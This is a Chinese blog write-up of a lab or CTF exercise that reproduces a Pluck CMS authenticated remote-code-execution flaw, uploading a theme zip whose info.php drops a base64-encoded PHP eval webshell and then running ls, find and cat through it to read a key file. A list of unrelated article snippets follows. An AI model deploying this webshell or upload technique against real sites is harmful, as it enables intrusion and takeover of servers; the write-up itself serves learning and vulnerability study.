Pluck Cms文件上传结合命令执行复现

article/2025/8/28 16:31:30

本漏洞影响

Pluck CMS Pluck CMS <=4.7.10
部分解释来自零组文库

安装模版+文件包含导致任意命令执行
很多CMS都会在安装模版的时候getshell,那么这里笔者也发现了类似的漏洞。
在阅读自己下载下来得源码之后看到
目录下有.htaccess文件,直接把php设置为不可解析,所以无法直接访问
在这里插入图片描述
所以就想到需要找一个位置对其进行包含,来达到执行的目的。
首先看到admin.php中关于theme的部分
在这里插入图片描述
跟进 data/inc/theme.php,发现调用了get_themes()方法
在这里插入图片描述
跟进 functions.all.php,查看get_themes()方法

function get_themes() {$dirs = read_dir_contents('data/themes', 'dirs');if ($dirs) {natcasesort($dirs);foreach ($dirs as $dir) {if (file_exists('data/themes/'.$dir.'/info.php')) {include_once ('data/themes/'.$dir.'/info.php');$themes[] = array('title'   => $themename,'dir' => $dir);}}return $themes;}elsereturn false;
}

发现会遍历data/themes/下所有主题目录,并且包含他的info.php文件
此时info.php可控,就导致了任意代码执行。

下面是复现的过程

在这里插入图片描述
在这里插入图片描述
根据题目的提示,登录密码是admin
在这里插入图片描述
准备的info.php马如下图,这里使用的是GET
在这里插入图片描述
解释一下file_put_contents
file_put_contents ——— 将一个字符串写入文件的函数
与依次调用 fopen(),fwrite()以及 fclose() 功能一样。使用方法如下:

file_put_contents(file,data,mode,context)

所以info.php文件里面写的就是当读取了info.php就会自动执行file_put_contents 的内容

那么我们现在来创建一个名为zoe.phpbase64编码的一句话GET木马

base64:PD9waHAgQGV2YWwoJF9HRVRbJ3pvZSddKTs/Pg
解码:<?php @eval($_GET['zoe']);?>

那么问题来了为什么这个一句话要使用GET传参?

_GET是一个数组
_GET的作用域是超全局,不需在脚本内部定义或初始化,即可使用
接收从浏览器客户端GET方式(URL中)传递到服务器的参数
GET传参的参数名做_GET数组的key,参数值做为数组的value
GET传参时,直接将参数拼接到URL中即可

然后把这个文件进行右键压缩变成info.zip(上传的压缩包里面的php文件名必须是这个info.php名字,但是压缩包的名字可以自定义一个)
在这里插入图片描述
来这里安装主题,把刚刚的zip上传上去
在这里插入图片描述
使用强大的神器hackbarGET传参执行命令得到phpinfo的信息
在这里插入图片描述
说明这个时候我们的一句话木马就执行成功了接下来就是正常的Linux命令的运用了:
先把phpinfo改为system来进行我们下一步的命令执行操作
在这里插入图片描述

http://120.25.24.45:32246/zoe.php?zoe=system('ls');

这时我们可以使用强大的Linux查找命令find,构造的语句是find / -name key*
可以看到有一大堆字符串,可以使用浏览器的强大搜索功能发现在/tmp目录下有key.txt

这里解释一下key* *是通配符的意思

在这里插入图片描述

http://120.25.24.45:32246/zoe.php?zoe=system('find / -name key*');

很幸运的是,没有过滤什么命令,直接用cat就可以看到了key

http://120.25.24.45:32246/zoe.php?zoe=system('cat /tmp/key.txt');

在这里插入图片描述
修复方法:
建议更新到最新版


http://chatgpt.dhexx.cn/article/v8gjfwSO.shtml

相关文章

春秋云境:CVE-2022-26965(后台RCE)

目录 一、题目 二、 利用cms主题构造木马 一、题目 介绍&#xff1a; Pluck-CMS-Pluck-4.7.16 后台RCE 进入题目&#xff1a; cms页面 点击admin进行登录&#xff1a; 弱口令admin登录&#xff1a; 成功登录进去&#xff1a; 国产化一下&#xff1a; 选项---选择主题 点击…

春秋云境系列靶场记录(合集)-不再更新

春秋云境系列靶场记录 春秋云境系列靶场记录合集&#xff0c;不更新了哈~~~ 2023/1/17日记 感谢各位朋友的关注&#xff0c;2022年11月到12月&#xff0c;利用空闲时间做了春秋云镜的靶场&#xff0c;因为穷&#xff0c;所以也只能做免费的&#xff08;当然还有个原因就是我太…

春秋云境:CVE-2022-26965

春秋云境&#xff1a;CVE-2022-26965 文章合集&#xff1a;春秋云境系列靶场记录&#xff08;合集&#xff09; Pluck-CMS-Pluck-4.7.16 后台RCE&#xff1a;CVE-2022-26965 漏洞介绍 Pluck-CMS-Pluck-4.7.16 后台RCE 解题步骤 过弱口令登录&#xff1a;admin 登录之后按照…

什么是pickle?

什么是pickle? 学习《深度学习》鱼书的源码时&#xff0c;刚看到加载mnist数据集所用到的mnist.pkl文件&#xff0c;理所当然的以为pkg这样的package安装包文件。奇怪安装包为何被包含在代码目录中&#xff0c;结果发现 init_mnist函数还要加载它。 我们来看看这个神秘的mnis…

Laravel SQL查询中first, pluck与lists方法的使用

看到说明文档上面介绍&#xff0c;难免有些迷惑&#xff0c;还是亲自动手试试吧。 sql测试数据表 -- ---------------------------- -- Table structure for users -- ---------------------------- DROP TABLE IF EXISTS users; CREATE TABLE users (id int(10) unsigned NOT…

git chrry pickup

git chrry pickup 目录概述需求&#xff1a; 设计思路实现思路分析1.java2.转移分支3.git merge4.cherry pick. 切换到 master 分支Cherry pick 操作参考资料和推荐阅读 Survive by day and develop by night. talk for import biz , show your perfect code,full busy&#xf…

春秋云镜wp day1

春秋云镜wp day1 (qq.com) 建议关注公众号 websec.space&#xff0c;以后文章来csdn备份一份 今天看到之前买了内网渗透那本书&#xff0c;今天看到靶场上线了&#xff0c;打一天玩一下&#xff0c;总体cve的洞很好刷&#xff0c;比打CTF轻松多了。 CVE-2022-32991 首先登陆…

计算机网络谢希仁第七版 第四章 答案

计算机网络谢希仁第七版 第四章 网络层 计算机网络 第七版 谢希仁 答案 1.网络层向上提供的服务有哪两种?是比较其优缺点。网络层向运输层提供 “面向连接”虚电路(Virtual Circuit)服务或“无连接”数据报服务前者预约了双方通信所需的一切网络资源。优点是能提供服务质…

《计算机网络》谢希仁第七版知识点总结

1 概述1.1 网络的网络1.2 互联网的组成1.2.1 边缘部分1.2.2 核心部分 1.3 计算机网络的类别1.4 计算机网络的性能指标&#xff08;考点&#xff09;1.4.1 速率1.4.2 时延 1.5 计算机网络的体系结构1.5.1 协议与划分层次 1.6 各协议的体系结构1.6.1 各层功能概述1.6.2 主机H1向H…

计算机网络谢希仁第七版课后习题答案(第九章)

1.无线局域网都由哪几部分组成&#xff1f;无线局域网中的固定基础设施对网络的性能有何影响&#xff1f;接入点 AP 是否就是无线局域网中的固定具体设施&#xff1f; 无线局域网由无线网卡、无线接入点(AP)、计算机和有关设备组成&#xff0c;采用单元结构&#xff0c;将整个系…

计算机网络第四章课后答案(第七版谢希仁著)

计算机网络第四章课后答案简介&#xff1a; 平时老师布置的作业自己做的答案&#xff0c;仅是做参考&#xff0c;希望有帮助 还可以把全部的答案分享给大家&#xff1a;>完整答案< 第四章课后作业答案&#xff1a; 第一页&#xff1a; 第二页&#xff1a; 第三页&#…

计算机网络第七版 第四章课后答案

4-55.如图所示&#xff0c;网络145.13.0.0/16划分为四个子网N1,N2,N3和N4。这四个子网与路由器R连接的接口分别是m0&#xff0c;m1&#xff0c;m2和m3。路由器R的第五个接口m4连接到互联网。 有题目可以看出四个网络地址的地址掩码均为/18,故可以得出子网掩码均为255.255.192.0…

计算机网络第七版(谢希仁)第五章——传输层课后习题答案(上)

文章目录 5-01解答 5-02解答 5-03解答 5-04解答 5-05解答 5-06解答 5-07解答 5-08解答 5-09解答 5-10解答 5-11解答 5-12解答 5-13解答 5-14解答 5-15解答 5-16解答 5-17解答 5-18解答 5-19解答 5-20解答 5-21解答 5-22解答 5-23解答 5-24解答 5-25解答 5-26解答 5-27解答 5-28…

计算机网络谢希仁第七版 第二章 课后答案

计算机网络谢希仁第七版 第二章 课后答案 2-01 物理层要解决哪些问题&#xff1f;物理层的主要特点是什么&#xff1f;计算机网络谢希仁 答案&#xff1a;物理层要解决的主要问题&#xff1a; &#xff08;1&#xff09;物理层要尽可能地屏蔽掉物理设备和传输媒体&#xff0c;…

《计算机网络(第七版)谢希仁 编著》部分课后答案

1-28 假定要在网络上传送1.5MB的文件。设分组长度为1KB&#xff0c;往返时间RTT80ms。传送数据之前还需要有建立TCP连接的时间&#xff0c;这时间是2RTT160ms。试计算在以下几种情况下接收方收完该文件的最后一个比特所需的时间。 &#xff08;1&#xff09;数据发送速率为…

计算机网络 第七版【谢希仁】部分答案(第1~7章)【附:电子书】

计算机网络&#xff08;第7版&#xff09;-谢希仁主编.pdf&#xff1a;【链接&#xff1a;https://pan.baidu.com/s/1Nkz7Gxd6hoChXntR6860bw 提取码&#xff1a;zjxs】 建议在拼多多上买本习题解答&#xff01; 目 录 第一章 概述 第二章 物理层 第三章 数据链路层 第…

计算机网络第七版 谢希仁 课后答案

想看更多算法题&#xff0c;可以扫描上方二维码关注我微信公众号“数据结构和算法”&#xff0c;截止到目前我已经在公众号中更新了500多道算法题&#xff0c;其中部分已经整理成了pdf文档&#xff0c;截止到目前总共有800多页&#xff08;并且还会不断的增加&#xff09;&…

第七版自顶向下 第一章中文版 计算机网络课后习题答案

本人编写了1-9章全部答案&#xff0c;在我发布的pdf文件里&#xff0c;需要的话自行下载。文件免费 第一章 R组 1.主机和端系统这两个概念没有什么不同。在本书中&#xff0c;“主机”这个名词和“端系统”这个名词可以相互替换。端系统包括PC、工作站、web服务器、邮件服务器、…

计算机网络(第七版)谢希仁编著 前五章课后答案计算题详解

前五章课后答案计算题详解 目录 第一章&#xff1a; 第二章 第三章 第四章 第一章&#xff1a; 10、试在下列条件下比较电路交换和分组交换。要传送的报文共x&#xff08;bit&#xff09;&#xff0c;从源站到目的站共经过k段链路&#xff0c;每段链路的传播时延为d&#x…

CentOS7通过omnibus安装包搭建GitLab环境

简介 gitlab是一个开源的软件&#xff0c;类似于github.com那样的git代码管理仓库&#xff0c;这里利用官方的omnibus安装包进行简单部署GitLab环境 安装依赖环境 yum install -y git #安装git yum install -y openssh-server #安装openssh-server systemctl enable openss…